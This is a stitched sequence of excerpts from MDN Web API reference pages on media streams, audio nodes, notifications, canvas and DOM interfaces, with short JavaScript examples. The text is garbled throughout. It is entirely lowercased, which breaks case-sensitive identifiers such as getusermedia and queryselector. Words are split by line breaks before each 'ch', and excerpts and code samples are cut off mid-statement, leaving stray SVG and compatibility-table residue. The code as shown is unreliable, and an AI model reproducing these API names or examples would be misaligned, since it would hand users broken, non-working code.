ch(function(entry) { entry.target.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection
changes in timing element visibility with the intersection observer api.
KeyboardLayoutMap - Web APIs
properties keyboardlayoutmap.entries read only returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype
chain as well).
... keyboardlayoutmap.keys read only returns a new array iterator object that contains the keys for ea
ch index in the array.
... keyboardlayoutmap.values read only returns a new array iterator object that contains the values for ea
ch index in the keyboardlayoutmap object.
... methods keyboardlayoutmap.forea
ch() read only executes a provided function once for ea
ch element of keyboardlayoutmap.
KeyframeEffect.KeyframeEffect() - Web APIs
direction optional whether the animation runs forwards (normal), backwards (reverse), swit
ches direction after ea
ch iteration (alternate), or runs backwards and swit
ches direction after ea
ch iteration (alternate-reverse).
... duration optional the number of milliseconds ea
ch iteration of the animation takes to complete.
...although this is te
chnically optional, keep in mind that your animation will not run if this value is 0.
... easing optional the rate of the animation's
change over time.
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and streams api, representing a stream of data being generated locally (su
ch as by getusermedia().
...instead, media is stopped by calling mediastreamtrack.stop() on ea
ch track that needs to be stopped.
... the example for mediastreamtrack.stop() demonstrates how to stop a multi-track stream, whi
ch is what localmediastream.stop() used to be used for.
...when the source of the stream is a connected device (su
ch as a camera or microphone), capture of media from the device is halted.
LockedFile.location - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...its value indicates at whi
ch bytes within the file any write or read operation will start.
... this value is
changed automatically after every read and write operation.
... this property can be
changed at will.
MIDIAccess - Web APIs
properties midiaccess.inputs read only returns an instance of midiinputmap whi
ch provides access to any available midi input ports.
... midiaccess.outputs read only returns an instance of midioutputmap whi
ch provides access to any available midi output ports.
... event handlers midiaccess.onstate
change called whenever a new midi port is added or an existing port
changes state.
... examples navigator.requestmidiaccess() .then(function(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstate
change = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MSCandidateWindowShow - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... general info syn
chronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... example in ie11, developers can detect the opening of the ime candidate window by listening to mscandidatewindowshow event, then call getcandidatewindowclientrect() function to find out where the candidate window is and position the suggestion ui away from it: var context = document.getelementbyid("mysear
chbox").msgetinputcontext(); context.addeventlistener("mscandidatewindowshow", candidatewindowshowhandler); function candidatewindowshowhandler(e) { var imerect = context.getcandidatewindowclientrect(); var suggestionrect = document.getelementbyid("mysuggestionlist").getboundingclientrect(); //
check if the two rects intersect, and position them away from ea
ch other.
... } when the ime candidate window
changes position or closes, it fires mscandidatewindowupdate or mscandidatewindowhide events.
MSCandidateWindowUpdate - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to
change size, but before any visual updates have rendered.
... general info syn
chronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... tan ime candidate window may be identified as needing to
change size for any of the following reasons: as a result of displaying new /
changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).
MSGraphicsTrust - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... syntax var trustobject = media.msgraphicstruststatus; parameters constrictionactive a read-only property whi
ch returns true when protected media is forced to play in a lower resolution.
... status a read-only property whi
ch returns an enum with the driver status when playing protected content.
... inheritance hierar
chy the msgraphicstrust does not inherit from any class or interface.
MSManipulationEvent - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... events msmanipulationstate
changed: event fires when the state of an element being manipulated has
changed.
... laststateread only returns the last state after a manipulation
change event.
...number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; readonly ms_manipulation_state_selecting: number; readonly ms_manipulation_state_stopped: number; } see also tou
chevent msmanipulationstate
changed microsoft api extensions ...
MediaKeySession - Web APIs
the mediakeysession interface of the encryptedmediaextensions api represents a context for message ex
change with a content decryption module (cdm).
... mediakeysession.expiration read only the time after whi
ch the keys in the current session can no longer be used to decrypt media data, or nan if no su
ch time exists.
...this value may
change during a session lifetime, su
ch as when an action triggers the start of a window.
... event handlers mediakeysession.onkeystatuses
change sets the eventhandler called when there has been a
change in the keys in a session or their statuses.
MediaQueryList.addListener() - Web APIs
the addlistener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom callback function in response to the media query status
changing.
... syntax mediaquerylist.addlistener(func) parameters func a function or function reference representing the callback function you want to run when the media query status
changes.
...in the new implementation the standard event me
chanism is used, the callback is a standard function, and the event object is a mediaquerylistevent, whi
ch inherits from event.
... examples var para = document.queryselector('p'); var mql = window.mat
chmedia('(max-width: 600px)'); function screentest(e) { if (e.mat
ches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specification.
MediaRecorder.audioBitsPerSecond - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobitspersecond experimental
chrome full support 49edge full support 79firefox full support 71ie no support noopera full support 36safari no support nowebview android full support 49
chrome android full support 49firefox android ?
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
MediaRecorderErrorEvent.error - Web APIs
the descriptions here are generic ones; you'll find more specific ones to various scenarios in whi
ch they may occur in the corresponding method references.
... invalidstateerror an operation was attempted in a context in whi
ch it isn't allowed, or a request has been made on an object that's deleted or removed.
... example this function creates and returns a mediarecorder for a given mediastream, configured to buffer data into an array and to wat
ch for errors.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } cat
ch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
MediaSource.isTypeSupported() - Web APIs
the mediasource.istypesupported() static method returns a boolean value whi
ch is true if the given mime type is likely to be supported by the current user agent.
... return value a boolean whi
ch is true if the browser feels that it can probably play media of the specified type.
... all web apis that work with media files use a "no/maybe/probably" approa
ch (or, in this case, "no or probably") when determining if a media type can be used.
...ource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fet
chab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specifica...
MediaSource.readyState - Web APIs
the three possible values are: closed: the source is not currently atta
ched to a media element.
... open: the source is atta
ched to a media element and ready to receive sourcebuffer objects.
... ended: the source is atta
ched to a media element but the stream has been ended via a call to mediasource.endofstream().
...ource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fet
chab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
MediaStream.getAudioTracks() - Web APIs
return value an array of mediastreamtrack objects, one for ea
ch audio track contained in the stream.
... note: the order of the returned tracks is not defined by the specification and may, in fact,
change from one call to getaudiotracks() to the next.
... early versions of this api included a special audiostreamtrack interface whi
ch was used as the type for ea
ch entry in the list of audio streams; however, this has since been merged into the main mediastreamtrack interface.
... example this example gets a webcam's audio and video in a stream using getusermedia(), atta
ches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
MediaStream.getTracks() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettracks experimental
chrome full support 45edge full support 12firefox full support yesie no support noopera full support yessafari full support yeswebview android full support 45
chrome android full support 45firefox android full support ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
MediaStream.id - Web APIs
the mediastream.id() read-only property is a domstring containing 36
characters denoting a unique identifier (guid) for the object.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetid
chrome no support ?
...— 54
chrome android no support ?
MediaStreamAudioDestinationNode - Web APIs
the mediastreamaudiodestinationnode interface represents an audio destination consisting of a webrtc mediastream with a single audiomediastreamtrack, whi
ch can be used in a similar way to a mediastream obtained from navigator.getusermedia.
... number of inputs 1 number of outputs 0
channel count 2
channel count mode "explicit"
channel count interpretation "speakers" constructor mediastreamaudiodestinationnode.mediastreamaudiodestinationnode() creates a new mediastreamaudiodestinationnode object instance.
... mediastreamaudiodestinationnode.stream is a mediastream containing a single audiomediastreamtrack with the same number of
channels as the node itself.
... you can use this property to get a stream out of the audio graph and feed it into another construct, su
ch as a media recorder.
MediaStreamAudioSourceNode() - Web APIs
the web audio api's mediastreamaudiosourcenode() constructor creates and returns a new mediastreamaudiosourcenode object whi
ch uses the first audio track of a given mediastream as its source.
... note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastreamsource() method, specifying the stream from whi
ch you want to obtain audio.
... options a mediastreamaudiosourceoptions object defining the properties you want the mediastreamaudiosourcenode to have: mediastream a required property whi
ch specifies the mediastream from whi
ch to obtain audio for the node.
...diadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints: audio and video for this app { audio: true, video: false }).then(function(stream) { var options = { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).cat
ch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode()' in that specification.
MediaStreamTrack.muted - Web APIs
when a track is disabled by setting enabled to false, it generates only empty frames (audio frames in whi
ch every sample is 0, or video frames in whi
ch every pixel is black).
... syntax const mutedflag = track.muted value a boolean whi
ch is true if the track is currently muted, or false if the track is currently unmuted.
... example this example counts the number of tracks in an array of mediastreamtrack objects whi
ch are currently muted.
... let mutedcount = 0; tracklist.forea
ch((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification.
MediaStreamTrack.onended - Web APIs
the mediastreamtrack.onended event handler is used to specify a function whi
ch serves as an eventhandler to be called when the ended event occurs on the track.
... this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being rea
ched, the user revoking needed permissions, the source device being removed, or the remote peer ending a connection.
...the event handler function receives a single parameter: the event object, whi
ch is a simple event object.
... examples this example sets up an event handler for the ended event whi
ch changes an on-screen icon to indicate that the track is no longer active.
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode whi
ch represents a source of audio data taken from a specific mediastreamtrack obtained through the webrtc or media capture and streams apis.
... number of inputs 0 number of outputs 1
channel count defined by the first audio mediastreamtrack passed to the audiocontext.createmediastreamtracksource() method that created it.
...next, we feed this source audio into a low pass biquadfilternode (whi
ch effectively serves as a bass booster), then a audiodestinationnode.
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .cat
ch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
MediaStream Image Capture API - Web APIs
in addition to capturing data, it also allows you to retrieve information about device capabilities su
ch as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
...the example code is adapted from
chrome's image capture examples.
... let zoom = document.queryselector('#zoom'); const capabilities = track.getcapabilities(); //
check whether zoom is supported or not.
... photocapabilities provides available configuration options for an atta
ched photographic device.
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, whi
ch is used to specify whether or not the cursor should be included in the captured video.
... if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindomstring whi
ch specifies whether or not the mouse cursor should be rendered into the video track in the mediastream returned by the call to getdisplaymedia().
... usage notes you can
check the setting selected by the user agent after the display media has been created by getdisplaymedia() by calling getsettings() on the display media's video mediastreamtrack, then
checking the value of the returned mediatracksettings object's cursor object.
MediaTrackConstraints.facingMode - Web APIs
if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints().
...these may represent separate cameras, or they may represent directions in whi
ch an adjustable camera can be pointed.
... "left" the video source is facing toward the user but to their left, su
ch as a camera aimed toward the user but over their left shoulder.
... "right" the video source is facing toward the user but to their right, su
ch as a camera aimed toward the user but over their right shoulder.
MediaTrackSettings.noiseSuppression - Web APIs
the mediatracksettings dictionary's noisesuppression property is a boolean value whose value indicates whether or not noise suppression te
chnology is enabled on an audio track.
...this feature is typically used on microphones, although it is te
chnically possible it could be provided by other input sources as well.
... if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
... syntax var noisesuppression = mediatracksettings.noisesuppression; value a boolean value whi
ch is true if the input track has noise suppression enabled or false if agc is disabled.
MediaTrackSupportedConstraints.cursor - Web APIs
the mediatracksupportedconstraints dictionary's cursor property indicates whether or not the cursor constraint is supported by the user agent and the device on whi
ch the content is being used.
... syntax iscursorsupported = supportedconstraints.cursor; value a boolean value whi
ch is true if the cursor constraint is supported by the device and user agent.
...capturing is then started by calling getdisplaymedia() and atta
ching the returned stream to the video element referenced by the variable videoelem.
...ewithcursor() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymediaoptions.video.cursor = "always"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } cat
ch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.cursor' in that specification.
MediaTrackSupportedConstraints.displaySurface - Web APIs
the mediatracksupportedconstraints dictionary's displaysurface property indicates whether or not the displaysurface constraint is supported by the user agent and the device on whi
ch the content is being used.
... syntax isdisplaysurfacesupported = supportedconstraints.displaysurface; value a boolean value whi
ch is true if the displaysurface constraint is supported by the device and user agent.
...capturing is then started by calling getdisplaymedia() and atta
ching the returned stream to the video element referenced by the variable videoelem.
... async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } cat
ch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.displaysurface' in that specification.
MessagePort - Web APIs
the messageport interface of the
channel messaging api represents one of the two ports of a message
channel, allowing messages to be sent from one port and listening out for them arriving at the other.
... example in the following example, you can see a new
channel being created using the message
channel() constructor.
... when the iframe has loaded, we register an onmessage handler for message
channel.port1 and transfer message
channel.port2 to the iframe using the window.postmessage method along with a message.
... var
channel = new message
channel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1
channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [
channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our
channel messaging basic demo on github (run it live too).
NDEFReader.scan() - Web APIs
syntax var readerpromise = ndefreader.scan(options); parameters options optional id -- the mat
ch pattern for mat
ching ea
ch ndefrecord.id.
... recordtype -- the mat
ch pattern for mat
ching ea
ch ndefrecord.recordtype.
... mediatype -- the mat
ch pattern for mat
ching ea
ch ndefrecord.mediatype.
... return value a promise that resolves with undefined immediatelly after s
cheduling read operations for the nfc adapter.
Navigator.getBattery() - Web APIs
it returns a battery promise, whi
ch is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
... syntax var batterypromise = navigator.getbattery(); return value a promise whi
ch, when resolved, calls its fulfillment handler with a single parameter: a batterymanager object whi
ch you can use to get information about the battery's state.
... example this example fet
ches the current
charging state of the battery and establishes a handler for the
charging
change event, so that the
charging state is recorded whenever it
changes.
... let batteryis
charging = false; navigator.getbattery().then(function(battery) { batteryis
charging = battery.
charging; battery.addeventlistener('
charging
change', function() { batteryis
charging = battery.
charging; }); }); for more examples and details, see battery status api.
navigator.hardwareConcurrency - Web APIs
modern computers have multiple physical processor cores in their cpu (two or four cores is typical), but ea
ch physical core is also usually able to run more than one thread at a time using advanced s
cheduling te
chniques.
...the number of logical processor cores can be used to measure the number of threads whi
ch can effectively be run at once without them having to context swit
ch.
... the browser may, however,
choose to report a lower number of logical cores in order to represent more accurately the number of workers that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.
... examples in this example, one worker is created for ea
ch logical processor reported by the browser and a record is created whi
ch includes a reference to the new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use.
NavigatorConcurrentHardware - Web APIs
the navigatorconcurrenthardware mixin adds to the navigator interface features whi
ch allow web content to determine how many logical processors the user has available, in order to let content and web apps optimize their operations to best take advantage of the user's cpu.
... the number of logical processor cores is a way to measure the number of threads whi
ch can effectively be run at once without them having to share cpus.
... modern computers have multiple physical cores in their cpu (two or four cores is typical), but ea
ch physical core is also usually able to run more than one thread at a time using advanced s
cheduling te
chniques.
...the browser may, however,
choose to reduce the number in order to represent more accurately the number of workers that can run at once properties navigatorconcurrenthardware.hardwareconcurrency read only returns the number of logical processors whi
ch may be available to the user agent.
NetworkInformation.downlinkMax - Web APIs
the networkinformation.downlinkmax read-only property returns the maximum downlink speed, in megabits per second (mbps), for the underlying connection te
chnology.
... syntax var max = networkinformation.downlinkmax return value an unrestricted double representing the maximum downlink speed, in megabits per second (mb/s), for the underlying connection te
chnology.
... examples the following example monitors the connection using the
change event and logs
changes as they occur.
...max = 'not supported'; if ('connection' in navigator) { connectiontype = navigator.connection.effectivetype; if ('downlinkmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('
change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
Node.baseURI - Web APIs
although this property is read-only, its value may
change in certain situations (see below).
... details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be
changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html living standard for details.
...note that obtaining the base url for a document may return different urls over time if the <base> tags or the document's location
change.
... if the document contains xml:base attributes (whi
ch you shouldn't do in html documents), the element.baseuri takes the xml:base attributes of element's parents into account when computing the base url.
Node.nextSibling - Web APIs
the node.nextsibling read-only property returns the node immediately following the specified one in their parent's
childnodes, or returns null if the specified node is the last
child in the parent element.
...therefore a node obtained, for example, using node.first
child or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
... living standard no
change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification.
... obsolete no
change document object model (dom) level 1 specificationthe definition of 'node.nextsibling' in that specification.
Node.setUserData() - Web APIs
the node.setuserdata() method allows a user to atta
ch (or remove) data to an element, without needing to modify the dom.
... note that su
ch data will not be preserved when imported via node.importnode, as with node.clonenode() and node.renamenode() operations (though node.adoptnode does preserve the information), and equality tests in node.isequalnode() do not consider user data in making the assessment.
... syntax var prevuserdata = somenode.setuserdata(userkey, userdata, handler); parameters userkey is used as the key by whi
ch one may subsequently obtain the stored data.
... handler is a callback whi
ch will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle method (part of the userdatahandler interface).
NodeFilter - Web APIs
for treewalker,
child nodes are also rejected.
... the
children of skipped nodes are still considered.
... this is treated as "skip this node but not its
children".
.../^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a
child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
Notification.requestPermission() - Web APIs
possible values for this string are: granted denied default examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first
check whether notifications are supported, then
check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.
... function notifyme() { // let's
check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's
check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has deni...
...} we no longer show a live sample on this page, as
chrome and firefox no longer allow notification permissions to be requested from cross-origin <iframe>s, with other browsers to follow.
... to see a example in action,
check out our to-do list example (also see the app running live.) note: in the above example we spawn notifications in response to a user gesture (clicking a button).
NotificationAction - Web APIs
these buttons' appearance and specific functionality vary across platforms but generally they provide a way to asyn
chronously show actions to the user in a notification.
... notificationaction.action read only the name of the action, whi
ch can be used to identify the clicked action similar to input names.
... here a service worker shows a notification with a single "ar
chive" action, allowing users to perform this common task from the notification without having to open the website.
... self.registration.shownotification("new mail from alice", { actions: [ { action: 'ar
chive', title: 'ar
chive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'ar
chive') { // ar
chive action was clicked ar
chiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
offlineaudiocompletionevents are despat
ched to offlineaudiocontext instances for legacy reasons.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetofflineaudiocompletionevent() constructor
chrome full support 57notes full support 57notes notes before
chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 57notes full support 57notes notes before version 59, the default values were not supported.
chrome android full support 57notes full support 57notes notes before
chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
OffscreenCanvas - Web APIs
examples syn
chronous display of frames produced by an offscreencanvas one way to use the offscreencanvas api, is to use a renderingcontext that has been obtained from an offscreencanvas object to generate new frames.
...this method returns an imagebitmap object, whi
ch can be used in a variety of web apis and also in a second canvas without creating a transfer copy.
... to display the imagebitmap, you can use a imagebitmaprenderingcontext context, whi
ch can be created by calling canvas.getcontext("bitmaprenderer") on a (visible) canvas element.
... // commit rendering to the second canvas var bitmaptwo = offscreen.transfertoimagebitmap(); two.transferfromimagebitmap(bitmaptwo); asyn
chronous display of frames produced by an offscreencanvas another way to use the offscreencanvas api, is to call transfercontroltooffscreen() on a <canvas> element, either on a worker or the main thread, whi
ch will return an offscreencanvas object from an htmlcanvaselement object from the main thread.
PageTransitionEvent - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/pagetransitionevent" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family...
...="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, event.
... pagetransitionevent.persisted read only indicates if the document is loading from a ca
che.
... example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was ca
ched by the browser"); } else { alert("the page was not ca
ched by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
PaintWorklet.registerPaint - Web APIs
/*
checkboardworklet.js */ class
checkerboardpainter { paint(ctx, geom, properties) { // use `ctx` as if it was a normal canvas const colors = ['red', 'green', 'blue']; const size = 32; for(let y = 0; y < geom.height/size; y++) { for(let x = 0; x < geom.width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = col...
...or; ctx.rect(x * size, y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('
checkerboard',
checkerboardpainter); the first step in using a paintworket is defining the paint worklet using the registerpaint() function, as done above.
... to use it, you register it with the css.paintworklet.addmodule() method: <script> css.paintworklet.addmodule('
checkboardworklet.js'); </script> you can then use the paint() css function in your css anywhere an <image> value is valid.
... li { background-image: paint(
checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
PannerNode.distanceModel - Web APIs
the distancemodel property of the pannernode interface is an enumerated value determining whi
ch algorithm to use to reduce the volume of the audio source as it moves away from the listener.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PannerNode.maxDistance - Web APIs
the maxdistance property of the pannernode interface is a double value representing the maximum distance between the audio source and the listener, after whi
ch the volume is not reduced any further.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PannerNode.panningModel - Web APIs
the panningmodel property of the pannernode interface is an enumerated value determining whi
ch spatialisation algorithm to use to position the audio in 3d space.
...you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PannerNode.refDistance - Web APIs
the distance at whi
ch the volume reduction starts taking effect.
...unlike rollofffactor,
changing this value also delays the volume decay until the sound moves past the reference point.
... const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and s
chedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const s
cheduletesttone = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then s
chedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect...
...(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly s
cheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one s
cheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late s
cheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
PannerNode.setOrientation() - Web APIs
